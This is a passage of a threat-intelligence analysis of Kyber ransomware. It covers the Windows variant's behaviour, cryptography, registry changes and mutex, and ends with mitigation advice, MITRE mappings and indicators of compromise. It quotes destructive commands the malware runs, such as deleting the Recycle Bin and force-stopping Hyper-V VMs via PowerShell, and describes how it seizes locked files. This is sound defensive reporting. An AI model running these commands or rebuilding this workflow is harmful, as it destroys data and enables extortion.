rd /s /q C:\$Recycle.Bin

Empty the Recycle Bin

Table 2: 11 commands executed by ransomware if it ran with elevated privilege

Hyper-V shutdown

If system flag is set, the binary enumerates Hyper-V virtual machines via PowerShell before encryption:

Get-VM | select VMId, Name | ConvertTo-Json
Stop-VM -Force -TurnOff

Figure 8: PowerShell commands used for Hyper-V termination.

Each VM is terminated with a "hard stop" (-TurnOff) which forces an abrupt shutdown, releasing file locks so the malware can encrypt. As noted in the CLI help text, the developer currently considers this Hyper-V functionality "experimental."

File encryption workflow

For each file, the binary checks for a prior encryption marker to avoid redundant processing. If the file is locked, the malware uses the Windows Restart Manager to identify and terminate the responsible process. If access is still denied, it modifies the file’s permissions (ACL) to Everyone:FullControl and clears the read-only attribute. It retries this entire sequence up to three times per file to ensure it can successfully open and encrypt the data.

Once encryption succeeds, the file is renamed with the .#~~~ extension, and a READ_ME_NOW.txt ransom note is dropped in the directory. Each successful operation is logged to the console as Successfully encrypted <file>. File size: <size>. To maintain system stability and to keep the OS bootable, the malware excludes critical system directories and files from encryption listed below:

$recycle.bin,perflog,system volume information,thumb,programdata,appdata,microsoft,netframework,c$, all users

Figure 9: Skipped directories

READ_ME_NOW.txt,lockerlog_*,processed_file.icon,ntuser.dat,ntuser.dat.log,ntuser.ini,desktop.ini,autorun.inf,ntldr,bootsect.bak,thumbs.db,boot.ini,iconcache.db,bootfont.bin

Figure 10: Skipped files

Cryptography

Unlike the Linux variant, this sample actually uses what it claims: Kyber1024 and AES-256-CTR.

The sample uses a hybrid encryption design. The embedded public key is validated against the expected Kyber1024 public key size of 1568 (0x620) bytes.

Public-key-size-check-with-branch-to-error-on-mismatch.png
Figure 11: Public key size check (1,568 bytes / 0x620) with branch to error on mismatch

Following validation, the sample initializes an AES-256 CTR context using a 32-byte key, which it expands into a 60-word key schedule.

This confirms that Kyber is not used for direct file encryption. Instead, Kyber1024 protects the symmetric key material, while AES-CTR handles bulk data encryption. 

Registry artifacts and icon registration

When executed with elevated privileges, the malware assigns a custom icon to encrypted files by registering the .#~~~ extension. It creates C:\fucked_icon\ directory, writes processed_file.icon to that location, and configures it in the registry as the default icon.

Regedit-output-kyber.png
Figure 12: Regedit output after execution of Kyber with elevated privileges

The malware executes ie4uinit.exe to refresh the shell icon cache. This forces Windows to display the new icons immediately across the filesystem without a system restart.

Mutex

The choice of the mutex is interesting. The mutex name boomplay[.]com/songs/182988982 is stored as a wide string in .rdata and appears to be a link to a song on Boomplay, which is a legitimate African music streaming platform. We were unable to identify the specific track due to geo-restrictions we could not bypass.

Mitigation guidance

Based on the observed Tactics, Techniques, and Procedures (TTPs), organizations should focus on the following defensive actions:

Harden virtualization infrastructure (T1021.004)

Kyber’s reliance on SSH for ESXi host access and native tooling like esxcli highlights critical control points.

  • Implement least-privilege access for ESXi shell and SSH, ideally disabling them entirely unless required for maintenance.

  • Enforce multi-factor authentication (MFA) on all management interfaces and accounts.

  • Monitor esxcli execution for VM termination (vm process kill) or configuration changes, which are late-stage indicators of compromise.

Prevent anti-recovery (T1485, T1070.001, T1562.001)

Kyber uses 11 distinct commands to impair defenses, including VSS deletion and log clearing.

  • Restrict execution: Prevent unprivileged users from executing command-line utilities like vssadmin.exe, wmic.exe, and wevtutil.exe.

  • Protect backups: Ensure backups (especially Veeam/SQL targets) are immutable and stored off-host or in segregated network segments that the Windows variant cannot reach, even with elevated privileges. The ransomware explicitly targets these services and file systems.

Detection focus (lateral movement & defacement):

  • Monitor for defacement artifacts: Actively monitor for changes to VMware's management files (/etc/motd, /usr/lib/vmware/hostd/docroot/index.html, etc.) in ESXi environments.

  • Custom entropy check: The Windows variant’s custom entropy pipeline suggests an effort to ensure key quality. Analysts should incorporate the provided IOCs (mutex: boomplay[.]com/songs/182988982) and file extensions into their detection rules.

MITRE ATT&CK techniques

ID

Technique

Use 

T1486

Data Encrypted for Impact

Primary objective for both variants.

T1485

Data Destruction

Deletion of shadow copies and backups via vssadmin and wmic.

T1489

Service Stop

Terminating ESXi processes and Windows database services.

T1070.001

Indicator Removal: Clear Windows Event Logs

Using wevtutil to clear logs after infection.

T1021.004

Remote Services: SSH

Primary vector for interacting with ESXi hosts.

T1562.001

Impair Defenses: Disable or Modify Tools

Disabling Windows Recovery Environment and boot failure prompts.

Indicators of compromise (IOCs)

Type

Indicator

Description

SHA-256

6ccacb7567b6c0bd2ca8e68ff59d5ef21e8f47fc1af70d4d88a421f1fc5280fc

Linux/ESXi ELF Binary

SHA-256

45bff0df2c408b3f589aed984cc331b617021ecbea57171dac719b5f545f5e8d

Windows Rust Binary

SHA-256

4ed176edb75ae2114cda8cfb3f83ac2ecdc4476fa1ef30ad8c81a54c0a223a29

Old Windows Variant

Extension

.xhsyw

Encrypted file extension (Linux)

Extension

.#~~~

Encrypted file extension (Windows)

Filename

readme.txt / READ_ME_NOW.txt

Ransom notes

Mutex

boomplay.com/songs/182988982

Mutex used by the Windows variant

Conclusion

Kyber ransomware isn’t a masterpiece of complex code, but it is highly effective at causing destruction. It reflects a shift toward specialization over sophistication. The operators didn’t need custom exploits or zero-days, because they didn’t have to use them. Instead, they simply used the standard ransomware playbook of abusing native tools like esxcli and vssadmin, and it was enough.

The encryption claims in the ransom note aren’t the main story. If anything, they highlight a gap between the campaign's marketing and its execution. The sophistication of the defense must now be measured against the attacker's specialization, not their code complexity. Ignoring Kyber's multi-platform nature is an acceptance of a total operational blackout.

❌
❌